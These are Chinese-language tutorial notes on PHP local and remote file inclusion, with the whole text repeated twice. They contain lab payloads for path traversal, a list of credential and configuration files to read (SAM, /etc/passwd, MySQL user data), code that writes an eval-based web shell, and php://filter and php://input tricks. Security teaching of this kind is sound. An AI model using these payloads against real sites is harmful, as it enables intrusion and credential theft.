文件包含
~ PHP 中的文件包含
! include
正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。
! include_once
正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。文件只能被包含一次
! require
实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。
! require_once
实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。文件只能被包含一次。
~ 文件包含漏洞
! 原理
程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
! PHP 提供的文件包含功能太强大,太灵活。
! 利用条件
@ 参数配置
# allow_url_fopen
allow_url_fopen = On On|Off
本地文件包含 (LFI)
# allow_url_inclue
allow_url_inclue = On On|Off
远程文件包含 (RFI)
# phpinfo() 中可以查看,也可以查看配置文件 php.ini
@ 用户可以控制文件包含的路径
! 文件包含示例
@ 本地文件包含
http://172.18.199.91/test/includesion/test/test.php?path=./a.php
@ 远程文件包含
http://172.18.199.91/test/includesion/test/test.php?path=http://172.18.199.91/test/includesion/test/a.php
可以考虑使用包含其他网站(黑客的服务器)的文件。
也可以考虑其他协议。
! PHP 文件包含的特点(也就是强大之处)
@ 无视文件扩展名,读取文件
@ 如果被包含的文件中,有符合PHP 语法规范的部分,
就会尝试执行它。
! null 字符问题
http://172.18.199.91:8081/includesion/null.php?path=./b.php%00
~ 文件包含漏洞的利用
! 读取敏感文件
@ 利用条件
# 目标主机文件存在
C:/windows/system32/drivers/etc/hosts
http://172.18.199.91/test/includesion/test/test.php?path=C:/windows/system32/drivers/etc/hosts
http://172.18.199.91/test/includesion/test/test.php?path=../../../../../../../../windows/system32/drivers/etc/hosts
--------------------------------------------
敏感文件
Windows
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //MySql配置文件
C:\Program Files\mysql\data\mysql\user.MYD //MySql root
C:\windows\php.ini //PHP配置信息
C:\windows\my.ini //MySql配置文件
......
UNIX/Linux
/etc/passwd
/user/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/user/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站设置
/user/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache2配置文件
/etc/my.cnf //MySql的配置文件 ...
--------------------------------------------
# 文件具有可读权限
! 直接包含图片木马
C:\xampp\htdocs\DEMO\File\FileUpload\upfiles
http://172.18.199.91/test/includesion/test/test.php?path=../../../DEMO/File/FileUpload/upfiles/1yjh.jpg
POST cmd=phpinfo();
! 包含图片木马写Shell
<?php
fputs(fopen("shell.php",'w+'),"<?php @eval(\$_REQUEST['cmd'])?>");
?>
在当前目录下创建一个文件shell.php,文件内容<?php @eval($_REQUEST['cmd'])?>
! PHP 封装协议
@ 访问本地系统文件
file://
http://172.18.199.91/test/includesion/test/test.php?path=file://C:/windows/system32/drivers/etc/hosts
@ 传输PHP 文件
php://filter
php://filter/read=convert.base64-encode/resource=test.php
PD9waHANCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCglpbmNsdWRlICRfR0VUWydwYXRoJ107DQp9ZWxzZXsNCgllY2hvICJQbGVhc2UgaW5wdXQgYSBwYXRoISI7DQp9DQoNCj8+
@ 执行PHP 命令
php://input
post 提交数据
【<?php echo `whoami`;?>】
~ PHP 中的文件包含
! include
正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。
! include_once
正常文件包含,如果遇到错误,会有warning 提示,不会结束脚本的运行。文件只能被包含一次
! require
实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。
! require_once
实现文件包含功能,如果遇到错误,会有error 提示,直接结束脚本运行。文件只能被包含一次。
~ 文件包含漏洞
! 原理
程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
! PHP 提供的文件包含功能太强大,太灵活。
! 利用条件
@ 参数配置
# allow_url_fopen
allow_url_fopen = On On|Off
本地文件包含 (LFI)
# allow_url_inclue
allow_url_inclue = On On|Off
远程文件包含 (RFI)
# phpinfo() 中可以查看,也可以查看配置文件 php.ini
@ 用户可以控制文件包含的路径
! 文件包含示例
@ 本地文件包含
http://172.18.199.91/test/includesion/test/test.php?path=./a.php
@ 远程文件包含
http://172.18.199.91/test/includesion/test/test.php?path=http://172.18.199.91/test/includesion/test/a.php
可以考虑使用包含其他网站(黑客的服务器)的文件。
也可以考虑其他协议。
! PHP 文件包含的特点(也就是强大之处)
@ 无视文件扩展名,读取文件
@ 如果被包含的文件中,有符合PHP 语法规范的部分,
就会尝试执行它。
! null 字符问题
http://172.18.199.91:8081/includesion/null.php?path=./b.php%00
~ 文件包含漏洞的利用
! 读取敏感文件
@ 利用条件
# 目标主机文件存在
C:/windows/system32/drivers/etc/hosts
http://172.18.199.91/test/includesion/test/test.php?path=C:/windows/system32/drivers/etc/hosts
http://172.18.199.91/test/includesion/test/test.php?path=../../../../../../../../windows/system32/drivers/etc/hosts
--------------------------------------------
敏感文件
Windows
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //MySql配置文件
C:\Program Files\mysql\data\mysql\user.MYD //MySql root
C:\windows\php.ini //PHP配置信息
C:\windows\my.ini //MySql配置文件
......
UNIX/Linux
/etc/passwd
/user/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/user/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站设置
/user/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache2配置文件
/etc/my.cnf //MySql的配置文件 ...
--------------------------------------------
# 文件具有可读权限
! 直接包含图片木马
C:\xampp\htdocs\DEMO\File\FileUpload\upfiles
http://172.18.199.91/test/includesion/test/test.php?path=../../../DEMO/File/FileUpload/upfiles/1yjh.jpg
POST cmd=phpinfo();
! 包含图片木马写Shell
<?php
fputs(fopen("shell.php",'w+'),"<?php @eval(\$_REQUEST['cmd'])?>");
?>
在当前目录下创建一个文件shell.php,文件内容<?php @eval($_REQUEST['cmd'])?>
! PHP 封装协议
@ 访问本地系统文件
file://
http://172.18.199.91/test/includesion/test/test.php?path=file://C:/windows/system32/drivers/etc/hosts
@ 传输PHP 文件
php://filter
php://filter/read=convert.base64-encode/resource=test.php
PD9waHANCmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsNCglpbmNsdWRlICRfR0VUWydwYXRoJ107DQp9ZWxzZXsNCgllY2hvICJQbGVhc2UgaW5wdXQgYSBwYXRoISI7DQp9DQoNCj8+
@ 执行PHP 命令
php://input
post 提交数据
【<?php echo `whoami`;?>】